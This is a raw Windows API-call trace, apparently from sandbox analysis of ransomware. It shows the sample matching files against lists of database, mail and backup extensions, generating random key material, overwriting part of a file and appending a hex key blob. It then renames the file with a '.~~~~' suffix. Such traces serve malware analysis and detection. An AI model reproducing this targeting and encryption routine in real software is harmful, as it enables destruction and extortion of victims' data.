	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dtxs") returned 0x0
	[0063.972] lstrlenW (lpString=".db3") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".db3") returned 0x0
	[0063.972] lstrlenW (lpString=".OST") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".OST") returned 0x0
	[0063.972] lstrlenW (lpString=".dbx") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dbx") returned 0x0
	[0063.972] lstrlenW (lpString=".DB3") returned 4
	[0063.972] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DB3") returned 0x0
	[0063.973] lstrlenW (lpString=".DAT") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DAT") returned 0x0
	[0063.973] lstrlenW (lpString=".VHDX") returned 5
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".VHDX") returned 0x0
	[0063.973] lstrlenW (lpString=".ndf") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".ndf") returned 0x0
	[0063.973] lstrlenW (lpString=".DB") returned 3
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DB") returned 0x0
	[0063.973] lstrlenW (lpString=".sql") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".sql") returned 0x0
	[0063.973] lstrlenW (lpString=".MYD") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".MYD") returned 0x0
	[0063.973] lstrlenW (lpString=".DBT") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DBT") returned 0x0
	[0063.973] lstrlenW (lpString=".ACCDB") returned 6
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0063.973] lstrlenW (lpString=".fdb") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".fdb") returned 0x0
	[0063.973] lstrlenW (lpString=".bak") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".bak") returned 0x0
	[0063.973] lstrlenW (lpString=".myd") returned 4
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".myd") returned 0x0
	[0063.973] lstrlenW (lpString=".DTXS") returned 5
	[0063.973] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".DTXS") returned 0x0
	[0063.974] lstrlenW (lpString=".ckp") returned 4
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".ckp") returned 0x0
	[0063.974] lstrlenW (lpString=".dbt") returned 4
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".dbt") returned 0x0
	[0063.974] lstrlenW (lpString=".db") returned 3
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".db") returned 0x0
	[0063.974] lstrlenW (lpString=".TXT") returned 4
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".TXT") returned 0x0
	[0063.974] lstrlenW (lpString=".MDF") returned 4
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".MDF") returned 0x0
	[0063.974] lstrlenW (lpString=".bdb") returned 4
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".bdb") returned 0x0
	[0063.974] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0063.974] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0063.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e800
	[0063.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0063.974] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0063.977] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0063.977] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0063.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0063.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0063.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3a1e10
	[0063.977] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18396743205) returned 1
	[0063.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x93490bf0, dwHighDateTime=0x1d60e1e)) 
	[0063.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0063.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0063.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0063.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0063.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0063.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0063.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0063.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0063.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e67d8
	[0063.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0063.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0063.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.978] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0063.978] GetLastError () returned 0x0
	[0063.978] SetLastError (dwErrCode=0x0) 
	[0063.978] GetLastError () returned 0x0
	[0063.978] SetLastError (dwErrCode=0x0) 
	[0063.978] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.979] SetLastError (dwErrCode=0x0) 
	[0063.979] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] GetLastError () returned 0x0
	[0063.980] SetLastError (dwErrCode=0x0) 
	[0063.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0063.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x27e0048
	[0063.981] ReadFile (in: hFile=0x110, lpBuffer=0x27e0048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0063.994] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.994] WriteFile (in: hFile=0x110, lpBuffer=0x27e0048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x27e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0063.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0063.995] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0063.995] WriteFile (in: hFile=0x110, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0064.008] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0064.008] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0064.008] CloseHandle (hObject=0x110) returned 1
	[0064.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3fa7d0
	[0064.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.~~~~")) returned 1
	[0064.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa7d0 | out: hHeap=0x300000) returned 1
	[0064.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0064.279] GetLastError () returned 0x0
	[0064.279] SetLastError (dwErrCode=0x0) 
	[0064.280] GetLastError () returned 0x0
	[0064.280] SetLastError (dwErrCode=0x0) 
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e10 | out: hHeap=0x300000) returned 1
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e800 | out: hHeap=0x300000) returned 1
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5e0 | out: hHeap=0x300000) returned 1
	[0064.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0064.280] RtlWakeConditionVariable () returned 0x365f70
	[0064.280] GetCurrentThreadId () returned 0x9f4
	[0064.280] GetCurrentThreadId () returned 0x9f4
	[0064.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0064.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0064.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0064.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0064.578] lstrlenW (lpString=".scr") returned 4
	[0064.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".scr") returned 0x0
	[0064.578] lstrlenW (lpString=".cmd") returned 4
	[0064.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".cmd") returned 0x0
	[0064.578] lstrlenW (lpString=".dll") returned 4
	[0064.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dll") returned 0x0
	[0064.578] lstrlenW (lpString=".bat") returned 4
	[0064.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".bat") returned 0x0
	[0064.578] lstrlenW (lpString=".cpl") returned 4
	[0064.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".cpl") returned 0x0
	[0064.578] lstrlenW (lpString=".sys") returned 4
	[0064.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".sys") returned 0x0
	[0064.578] lstrlenW (lpString=".msc") returned 4
	[0064.585] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".msc") returned 0x0
	[0064.585] lstrlenW (lpString=".com") returned 4
	[0064.585] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".com") returned 0x0
	[0064.585] lstrlenW (lpString=".lnk") returned 4
	[0064.585] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".lnk") returned 0x0
	[0064.592] lstrlenW (lpString=".msp") returned 4
	[0064.592] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".msp") returned 0x0
	[0064.593] lstrlenW (lpString=".pif") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".pif") returned 0x0
	[0064.593] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0064.593] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0064.593] lstrlenW (lpString=".sqb") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".sqb") returned 0x0
	[0064.593] lstrlenW (lpString=".ost") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".ost") returned 0x0
	[0064.593] lstrlenW (lpString=".txt") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".txt") returned 0x0
	[0064.593] lstrlenW (lpString=".mdt") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".mdt") returned 0x0
	[0064.593] lstrlenW (lpString=".BDB") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".BDB") returned 0x0
	[0064.593] lstrlenW (lpString=".eql") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".eql") returned 0x0
	[0064.593] lstrlenW (lpString=".DBF") returned 4
	[0064.593] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DBF") returned 0x0
	[0064.594] lstrlenW (lpString=".EQL") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".EQL") returned 0x0
	[0064.594] lstrlenW (lpString=".FDB") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".FDB") returned 0x0
	[0064.594] lstrlenW (lpString=".EDB") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".EDB") returned 0x0
	[0064.594] lstrlenW (lpString=".DACPAC") returned 7
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DACPAC") returned 0x0
	[0064.594] lstrlenW (lpString=".VHD") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".VHD") returned 0x0
	[0064.594] lstrlenW (lpString=".DBV") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DBV") returned 0x0
	[0064.594] lstrlenW (lpString=".dacpac") returned 7
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dacpac") returned 0x0
	[0064.594] lstrlenW (lpString=".sdf") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".sdf") returned 0x0
	[0064.594] lstrlenW (lpString=".accdb") returned 6
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".accdb") returned 0x0
	[0064.594] lstrlenW (lpString=".DBX") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DBX") returned 0x0
	[0064.594] lstrlenW (lpString=".MDT") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".MDT") returned 0x0
	[0064.594] lstrlenW (lpString=".SQB") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".SQB") returned 0x0
	[0064.594] lstrlenW (lpString=".vhd") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".vhd") returned 0x0
	[0064.594] lstrlenW (lpString=".bac") returned 4
	[0064.594] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".bac") returned 0x0
	[0064.595] lstrlenW (lpString=".mdf") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".mdf") returned 0x0
	[0064.595] lstrlenW (lpString=".BAK") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".BAK") returned 0x0
	[0064.595] lstrlenW (lpString=".BAC") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".BAC") returned 0x0
	[0064.595] lstrlenW (lpString=".dbs") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dbs") returned 0x0
	[0064.595] lstrlenW (lpString=".vhdx") returned 5
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".vhdx") returned 0x0
	[0064.595] lstrlenW (lpString=".NDF") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".NDF") returned 0x0
	[0064.595] lstrlenW (lpString=".dat") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dat") returned 0x0
	[0064.595] lstrlenW (lpString=".DBS") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".DBS") returned 0x0
	[0064.595] lstrlenW (lpString=".CKP") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".CKP") returned 0x0
	[0064.595] lstrlenW (lpString=".edb") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".edb") returned 0x0
	[0064.595] lstrlenW (lpString=".PST") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".PST") returned 0x0
	[0064.595] lstrlenW (lpString=".dbf") returned 4
	[0064.595] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dbf") returned 0x0
	[0064.596] lstrlenW (lpString=".SQL") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".SQL") returned 0x0
	[0064.596] lstrlenW (lpString=".pst") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".pst") returned 0x0
	[0064.596] lstrlenW (lpString=".dbv") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dbv") returned 0x0
	[0064.596] lstrlenW (lpString=".SDF") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".SDF") returned 0x0
	[0064.596] lstrlenW (lpString=".dtxs") returned 5
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dtxs") returned 0x0
	[0064.596] lstrlenW (lpString=".db3") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".db3") returned 0x0
	[0064.596] lstrlenW (lpString=".OST") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".OST") returned 0x0
	[0064.596] lstrlenW (lpString=".dbx") returned 4
	[0064.596] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpSrch=".dbx") returned 0x0
